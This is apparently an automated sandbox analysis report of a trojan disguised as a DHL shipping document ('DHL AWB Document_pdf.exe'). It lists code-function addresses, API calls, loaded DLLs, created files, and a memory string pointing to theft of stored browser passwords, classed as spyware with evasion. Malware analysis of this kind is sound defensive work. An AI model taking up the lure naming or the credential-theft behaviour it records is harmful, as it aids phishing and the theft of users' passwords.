Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFB2C7	10_2_36AFB2C7
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFB2D8	10_2_36AFB2D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF4A20	10_2_36AF4A20
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFAE38	10_2_36AFAE38
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF6A09	10_2_36AF6A09
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF8A00	10_2_36AF8A00
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF2E00	10_2_36AF2E00
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF4A1B	10_2_36AF4A1B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF6A10	10_2_36AF6A10
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF8E7F	10_2_36AF8E7F
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFF271	10_2_36AFF271
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFAE48	10_2_36AFAE48
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF97A0	10_2_36AF97A0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF77BB	10_2_36AF77BB
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF97B0	10_2_36AF97B0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFD3EF	10_2_36AFD3EF
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFBBE9	10_2_36AFBBE9
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF37E0	10_2_36AF37E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFBBF8	10_2_36AFBBF8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF57C3	10_2_36AF57C3
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF77C0	10_2_36AF77C0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF37D3	10_2_36AF37D3
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF57D0	10_2_36AF57D0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF732B	10_2_36AF732B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF9320	10_2_36AF9320
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF5333	10_2_36AF5333
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF7330	10_2_36AF7330
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF9310	10_2_36AF9310
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFB768	10_2_36AFB768
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFCF61	10_2_36AFCF61
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFCF70	10_2_36AFCF70
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF5340	10_2_36AF5340
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFB759	10_2_36AFB759
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFA089	10_2_36AFA089
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFC088	10_2_36AFC088
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFD881	10_2_36AFD881
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFA098	10_2_36AFA098
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFD890	10_2_36AFD890
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF60E7	10_2_36AF60E7
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF80E0	10_2_36AF80E0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF40FB	10_2_36AF40FB
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF60F0	10_2_36AF60F0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF80DB	10_2_36AF80DB
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFE829	10_2_36AFE829
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF003F	10_2_36AF003F
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF003B	10_2_36AF003B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF9C31	10_2_36AF9C31
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFD400	10_2_36AFD400
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFF800	10_2_36AFF800
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFF810	10_2_36AFF810
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF3C63	10_2_36AF3C63
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF5C60	10_2_36AF5C60
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFC077	10_2_36AFC077
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF1473	10_2_36AF1473
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF3C70	10_2_36AF3C70
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF7C40	10_2_36AF7C40
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF9C40	10_2_36AF9C40
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF5C50	10_2_36AF5C50
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF7C50	10_2_36AF7C50
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFA9A8	10_2_36AFA9A8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFC9A8	10_2_36AFC9A8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFE1A0	10_2_36AFE1A0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFA9B8	10_2_36AFA9B8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF458B	10_2_36AF458B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF6580	10_2_36AF6580
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFC998	10_2_36AFC998
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF4590	10_2_36AF4590
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF2DEF	10_2_36AF2DEF
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF89F9	10_2_36AF89F9
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFDD20	10_2_36AFDD20
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFED31	10_2_36AFED31
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFC509	10_2_36AFC509
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF2904	10_2_36AF2904
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF4100	10_2_36AF4100
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFA519	10_2_36AFA519
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFC518	10_2_36AFC518
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFDD10	10_2_36AFDD10
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF856B	10_2_36AF856B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF2964	10_2_36AF2964
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF6579	10_2_36AF6579
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AF8570	10_2_36AF8570
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36AFED40	10_2_36AFED40
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B752E8	10_2_36B752E8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B77C78	10_2_36B77C78
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7F658	10_2_36B7F658
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B77F98	10_2_36B77F98
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B72928	10_2_36B72928
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B718B7	10_2_36B718B7
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7B4B8	10_2_36B7B4B8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B782B8	10_2_36B782B8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7E6B8	10_2_36B7E6B8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B782A7	10_2_36B782A7
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B76AA8	10_2_36B76AA8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7B4A8	10_2_36B7B4A8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B77890	10_2_36B77890
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B79898	10_2_36B79898
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7CA98	10_2_36B7CA98
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70EFF	10_2_36B70EFF
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B788F8	10_2_36B788F8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7BAF8	10_2_36B7BAF8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7ECF8	10_2_36B7ECF8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B760D0	10_2_36B760D0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B79ED8	10_2_36B79ED8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7D0D8	10_2_36B7D0D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B760C0	10_2_36B760C0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B718C8	10_2_36B718C8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B75630	10_2_36B75630
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B77430	10_2_36B77430
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70A39	10_2_36B70A39
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7A838	10_2_36B7A838
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7DA38	10_2_36B7DA38
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7DA28	10_2_36B7DA28
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B76418	10_2_36B76418
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B78C18	10_2_36B78C18
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7BE18	10_2_36B7BE18
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7F018	10_2_36B7F018
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70006	10_2_36B70006
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B71400	10_2_36B71400
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7F008	10_2_36B7F008
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7E078	10_2_36B7E078
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7AE78	10_2_36B7AE78
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7C458	10_2_36B7C458
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B79258	10_2_36B79258
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70040	10_2_36B70040
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70A48	10_2_36B70A48
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B75DB0	10_2_36B75DB0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7CDB8	10_2_36B7CDB8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B79BB8	10_2_36B79BB8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B71D90	10_2_36B71D90
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B72398	10_2_36B72398
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7B198	10_2_36B7B198
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7E398	10_2_36B7E398
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B76788	10_2_36B76788
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B72388	10_2_36B72388
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B713F1	10_2_36B713F1
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B76DF0	10_2_36B76DF0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B759F0	10_2_36B759F0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7A1F8	10_2_36B7A1F8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7D3F8	10_2_36B7D3F8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B785D8	10_2_36B785D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7B7D8	10_2_36B7B7D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7E9D8	10_2_36B7E9D8
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B785C7	10_2_36B785C7
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70530	10_2_36B70530
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B78F38	10_2_36B78F38
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7C138	10_2_36B7C138
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7F338	10_2_36B7F338
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70520	10_2_36B70520
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B77110	10_2_36B77110
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B70F10	10_2_36B70F10
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7A518	10_2_36B7A518
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7D718	10_2_36B7D718
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B72918	10_2_36B72918
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B71D7F	10_2_36B71D7F
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7C778	10_2_36B7C778
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B79578	10_2_36B79578
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7DD58	10_2_36B7DD58
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7AB58	10_2_36B7AB58
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B7AB4E	10_2_36B7AB4E
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B87128	10_2_36B87128
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B87F30	10_2_36B87F30
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B87810	10_2_36B87810
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B85950	10_2_36B85950
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B88618	10_2_36B88618
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B88D00	10_2_36B88D00
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B87118	10_2_36B87118
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B87F20	10_2_36B87F20
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B83CF0	10_2_36B83CF0
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B87800	10_2_36B87800
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B88608	10_2_36B88608
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36B88CF2	10_2_36B88CF2
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36C76ED4	10_2_36C76ED4
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36C78F10	10_2_36C78F10
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36C7E770	10_2_36C7E770
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36C76ED3	10_2_36C76ED3
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36C74E34	10_2_36C74E34
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36C77C78	10_2_36C77C78
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_36C79BB0	10_2_36C79BB0

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: String function: 00402A3A appears 52 times

Source: DHL AWB Document_pdf.exe, 00000002.00000002.1688953127.0000000000436000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs DHL AWB Document_pdf.exe
Source: DHL AWB Document_pdf.exe, 0000000A.00000000.1686860603.0000000000436000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs DHL AWB Document_pdf.exe
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541855165.00000000336B7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs DHL AWB Document_pdf.exe
Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2521510426.0000000003234000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs DHL AWB Document_pdf.exe
Source: DHL AWB Document_pdf.exe	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs DHL AWB Document_pdf.exe

Source: DHL AWB Document_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/25@5/5

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 2_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		2_2_004030D9
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		10_2_004030D9

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: 2_2_0040431C GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

2_2_0040431C

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: 2_2_0040205E CoCreateInstance,MultiByteToWideChar,

2_2_0040205E

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

File created: C:\Users\user\Slutafregningers175

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsw2548.tmp

Jump to behavior

Source: DHL AWB Document_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033A39000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033A6C000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033A5F000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033A29000.00000004.00000800.00020000.00000000.sdmp, DHL AWB Document_pdf.exe, 0000000A.00000002.2541928199.0000000033A47000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DHL AWB Document_pdf.exe	Virustotal: Detection: 37%
Source: DHL AWB Document_pdf.exe	ReversingLabs: Detection: 24%

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

File read: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DHL AWB Document_pdf.exe "C:\Users\user\Desktop\DHL AWB Document_pdf.exe"
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process created: C:\Users\user\Desktop\DHL AWB Document_pdf.exe "C:\Users\user\Desktop\DHL AWB Document_pdf.exe"
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process created: C:\Users\user\Desktop\DHL AWB Document_pdf.exe "C:\Users\user\Desktop\DHL AWB Document_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
